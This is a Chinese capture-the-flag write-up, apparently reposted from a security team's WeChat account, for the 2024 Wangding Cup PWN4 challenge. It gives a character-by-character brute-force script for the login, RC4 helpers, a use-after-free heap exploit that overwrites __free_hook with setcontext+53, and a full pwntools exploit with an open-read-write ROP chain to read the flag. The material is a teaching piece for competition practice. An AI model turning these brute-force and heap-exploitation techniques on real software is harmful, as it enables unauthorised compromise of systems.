2024网鼎杯青龙组初赛---PWN4(仅供参考)

admin 2024年11月13日17:45:52评论10 views字数 8019阅读26分43秒阅读模式

代码审计,发现有一个用户名和密码的验证

2024网鼎杯青龙组初赛---PWN4(仅供参考)

2024网鼎杯青龙组初赛---PWN4(仅供参考)    

发现他是在本地去读取的,所以我们需要爆破用户名和密码,然后我们进入判断函数,发现他是一个一个字符判断的,如果发现字符不一样,我们可以由此当判断依据,爆破用户名2024网鼎杯青龙组初赛---PWN4(仅供参考)

2024网鼎杯青龙组初赛---PWN4(仅供参考)

爆破脚本

username=''            chars=[' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']            #chars=['[', '\', ']', '^', '_', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~']            for char in chars:                 try:                     pay = username+char                     sla('Input your username:n', pay+'x00')                     res = p.recvuntil(('Invalid username length!', 'Username correct!'), timeout=1)                     if 'Invalid username length!' in res:                         info('正确的字符:' + char)                         username+=char                         break                     elif 'Username correct!' in res:                         print('正确的username:' + username)                 except:                     pass 

同理password也是一样的原理

2024网鼎杯青龙组初赛---PWN4(仅供参考)

2024网鼎杯青龙组初赛---PWN4(仅供参考)

爆破脚本  

password=''            chars=[' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']            #chars=['[', '\', ']', '^', '_', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~']            for char in chars:                try:                    pay = password+char                    p.sendlineafter(b'ur username:', "4dm1n")                    p.sendlineafter('password:', pay+'x00')                    res = p.recvuntil('Invalid password length!', timeout=1)                    if 'Invalid password length!' in res:                        info('正确的字符:' + char)                        password+=char                        break                    elif 'Password correct!' in res:                        print('正确的username:' + password)                except:                    pass 

后边就是一个菜单题了,我们继续看    

2024网鼎杯青龙组初赛---PWN4(仅供参考)

我们进入第一个函数,发现是一个添加堆块的函数,限制了只能申请0xf个堆块,大小要小于0x300,但是他会对我们输入的数据进行加密

2024网鼎杯青龙组初赛---PWN4(仅供参考)    

我们进入加密函数,发现是一个 RC4 算法(ai告诉我的),我们直接用ai给我什么解密脚本,发现的加密算法就是解密算法

2024网鼎杯青龙组初赛---PWN4(仅供参考)

2024网鼎杯青龙组初赛---PWN4(仅供参考)

解密算法

def ksa(key):                state = list(range(256))                j = 0                for i in range(256):                    j = (j + state[i] + ord(key[i % len(key)])) % 256                    state[i], state[j] = state[j], state[i]                return state                       def prga(state, length):                i = j = 0                keystream = []                for _ in range(length):                    i = (i + 1) % 256                    j = (j + state[i]) % 256                    state[i], state[j] = state[j], state[i]                    t = (state[i] + state[j]) % 256                    keystream.append(state[t])                return keystream                       def rc4_decrypt(key, ciphertext):                state = ksa(key)                keystream = prga(state, len(ciphertext))                plaintext = []                for c, k in zip(ciphertext, keystream):                    plaintext.append(chr(ord(c) ^ k))                return ''.join(plaintext)

进入第二函数,是一个打印函数,但是会给我打印出来的东西进行加密

2024网鼎杯青龙组初赛---PWN4(仅供参考)

第三个函数,是一个free函数,存在uaf漏洞,会对我们free的内容进行加密    

2024网鼎杯青龙组初赛---PWN4(仅供参考)

第四个函数edit函数,同样会机密我们的内容

2024网鼎杯青龙组初赛---PWN4(仅供参考)

并且还开了沙箱,但是libc是2.27,所以我们直接用setcontext+53进行orw的编写    

2024网鼎杯青龙组初赛---PWN4(仅供参考)

利用思路:

1、首先通过申请7个堆块,填满teacher bin,然后在申请一个,free掉进入unsortbin,泄露libc

2、,然后就通过uaf劫持free_hook为setcontext+53,进行orw的编写

首先我们泄露libc,由于我们打印的数据是加密的,所以我们要接受所有的数据进行解密,然后拿到libc的地址,然后我们在通过之前的free掉的堆块泄露,heap的地址

for i in range(8):                add(i,0x100,rc4_decrypt(key,'Halo'))            add(8,0x270,rc4_decrypt(key,'Halo2'))            for i in range(8):                delete(i)            show(7)            ru('[7,')            libc.address=u64(rc4_decrypt(key,ru(']')[:-1])[0:7].ljust(8,'x00'))-0x3ebca0            lg('libc.address')            ru('[2,')            heap=u64(rc4_decrypt(key,p.recvuntil(b']')[:-1])[0:7].ljust(8,b'x00'))-0x1720-0x60            lg('heap') 

劫持free_hook为setcontext+53,由于我们之前就free掉了很多堆块,我们直接找到6个堆块改为free_hook,就可劫持了

edit(6,rc4_decrypt(key,p64(libc.sym['__free_hook'])))            add(1,0x100,rc4_decrypt(key,'aaa'))            add(1,0x100,rc4_decrypt(key,p64(setcontext)))

最后就可以编写我们orw了,我们这里可以用pwntools提供的frame结构体来控制相应的结构体

2024网鼎杯青龙组初赛---PWN4(仅供参考)

pop_rdi=0x000000000002164f+libc.address #: pop rdi ; ret            pop_rsi=0x0000000000023a6a + libc.address#: pop rsi ; ret            pop_rdx=0x0000000000001b96 +libc.address#: pop rdx ; ret            open=libc.sym['open']            read=libc.sym['read']            puts=libc.sym['puts']            setcontext=libc.sym['setcontext']+53            orw_addr=heap+0x2170            frame=SigreturnFrame()            frame.rsp=orw_addr            frame.rip=libc.sym['open']            frame.rdi=orw_addr+0x50            frame.rsi=0            orw=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(orw_addr+0x100)+p64(pop_rdx)+p64(0x100)+p64(read)            orw+=p64(pop_rdi)+p64(orw_addr+0x100)+p64(puts)+'./flagx00x00'

由于我们劫持的rsp为orw的地址,但是当他push rcx的时候会将rsp-0x8地方修改,所以我们没法将"./flagx00x00"写在开头

2024网鼎杯青龙组初赛---PWN4(仅供参考)

2024网鼎杯青龙组初赛---PWN4(仅供参考)

而且还有一个问题就是,当我想在填两个pop rdi进行隔开的时候,就会没法将我们需要的内容填写完整,我猜测他的加密应该是有对齐吧(如有大神知道可以教教我)

frame=SigreturnFrame()            frame.rsp=orw_addr+0x10            frame.rip=libc.sym['open']            frame.rdi=orw_addr            frame.rsi=0            orw='./flagx00x00'            orw+=p64(pop_rdi)*2+p64(3)+p64(pop_rsi)+p64(orw_addr+0x100)+p64(pop_rdx)+p64(0x100)+p64(read)            orw+=p64(pop_rdi)+p64(orw_addr+0x100)+p64(puts)

2024网鼎杯青龙组初赛---PWN4(仅供参考)

完整exp

#coding:utf-8            from pwn import *            elf = ELF("./pwn")            context(arch=elf.arch, os=elf.os)            context.log_level = 'debug'            libc = ELF('./libc.so.6')            flag=1            url=''            port=0            if flag:                p = process(elf.path)            else:                p = remote(url,port)            sa = lambda x,y:p.sendafter(x,y)            sla = lambda x,y:p.sendlineafter(x,y)            it = lambda : p.interactive()            uu32 = lambda : u32(p.recvuntil('xff')[-4:].ljust(4,'x00'))            uu64 = lambda : u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))            ru = lambda x :p.recvuntil(x)            rc = lambda x :p.recv(x)            sd = lambda x:p.send(x)            sl = lambda x:p.sendline(x)            lg = lambda s : log.info('x1b[01;38;5;214m %s --> 0x%x 33[0m' % (s, eval(s)))            #可见字符范围(ASCII可见字符)            #visible_chars = [chr(i) for i in range(32, 127)]  # 从空格到波浪号            #print visible_chars            #username='4dm1n'            #chars=[' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']            #chars=['[', '\', ']', '^', '_', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~']            # for char in chars:            #     try:            #         pay = username+char            #         sla('Input your username:n', pay+'x00')            #         res = p.recvuntil(('Invalid username length!', 'Username correct!'), timeout=1)            #         if 'Invalid username length!' in res:            #             info('正确的字符:' + char)            #             username+=char            #             break            #         elif 'Username correct!' in res:            #             print('正确的username:' + username)            #     except:            #         pass            # info('username:' + username)            # p.sendlineafter(b'username:', "4dm1n")            # password=''            # for char in chars:            #     try:            #         pay = password+char            #         p.sendlineafter(b'Input your username:', "4dm1n")            #         p.sendlineafter('Input your password:', pay+'x00')            #         res = p.recvuntil('Invalid password length!', timeout=1)            #         if 'Invalid password length!' in res:            #             info('正确的字符:' + char)            #             password+=char            #             break            #         elif 'Password correct!' in res:            #             print('正确的username:' + password)            #     except:            #         pass            # sla('Input your username:','4'+'x00')            # res=p.recvuntil('Invalid username length!',timeout=1)            # info(res)            # username=Blasting()            sla('Input your username:', '4dm1n')            sla('Input your password:','985da4f8cb37zkj')            def cmd(cmd):                sla('>',str(cmd))            def add(key,size,msg):                cmd(1)                sla('Input the key:',str(key))                sla('value size:',str(size))                sla('the value: n',msg)            def show(key):                cmd(2)                sla('Input the key:', str(key))            def delete(key):                cmd(3)                sla('Input the key:', str(key))            def edit(key,msg):                cmd(4)                sla('Input the key:', str(key))                sla('the value: n', msg)            def ksa(key):                state = list(range(256))                j = 0                for i in range(256):                    j = (j + state[i] + ord(key[i % len(key)])) % 256                    state[i], state[j] = state[j], state[i]                return state                       def prga(state, length):                i = j = 0                keystream = []                for _ in range(length):                    i = (i + 1) % 256                    j = (j + state[i]) % 256                    state[i], state[j] = state[j], state[i]                    t = (state[i] + state[j]) % 256                    keystream.append(state[t])                return keystream                       def rc4_decrypt(key, ciphertext):                state = ksa(key)                keystream = prga(state, len(ciphertext))                plaintext = []                for c, k in zip(ciphertext, keystream):                    plaintext.append(chr(ord(c) ^ k))                return ''.join(plaintext)            key='s4cur1ty_p4ssw0rd'            data=rc4_decrypt(key,'aaaa')            print data            for i in range(8):                add(i,0x100,rc4_decrypt(key,'Halo'))            add(8,0x270,rc4_decrypt(key,'Halo2'))            for i in range(8):                delete(i)            show(7)            ru('[7,')            libc.address=u64(rc4_decrypt(key,ru(']')[:-1])[0:7].ljust(8,'x00'))-0x3ebca0            lg('libc.address')            show(2)            ru('[2,')            heap=u64(rc4_decrypt(key,p.recvuntil(b']')[:-1])[0:7].ljust(8,b'x00'))-0x1720-0x60            lg('heap')            pop_rdi=0x000000000002164f+libc.address #: pop rdi ; ret            pop_rsi=0x0000000000023a6a + libc.address#: pop rsi ; ret            pop_rdx=0x0000000000001b96 +libc.address#: pop rdx ; ret            open=libc.sym['open']            read=libc.sym['read']            puts=libc.sym['puts']            setcontext=libc.sym['setcontext']+53            orw_addr=heap+0x2170            frame=SigreturnFrame()            frame.rsp=orw_addr            frame.rip=libc.sym['open']            frame.rdi=orw_addr+0x50            frame.rsi=0            orw=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(orw_addr+0x100)+p64(pop_rdx)+p64(0x100)+p64(read)            orw+=p64(pop_rdi)+p64(orw_addr+0x100)+p64(puts)+'./flagx00x00'            add(10,0x150,rc4_decrypt(key,'aaa'))            edit(6,rc4_decrypt(key,p64(libc.sym['__free_hook'])))            add(1,0x100,rc4_decrypt(key,'aaa'))            add(1,0x100,rc4_decrypt(key,p64(setcontext)))            # gdb.attach(p, "b __libc_freenc")            # pause()            edit(10,rc4_decrypt(key,orw))            edit(8,str(frame))            delete(8)            it()            

2024网鼎杯青龙组初赛---PWN4(仅供参考)

原文始发于微信公众号(Undefin3d安全团队):2024网鼎杯青龙组初赛---PWN4(仅供参考)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月13日17:45:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2024网鼎杯青龙组初赛---PWN4(仅供参考)https://cn-sec.com/archives/3392142.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息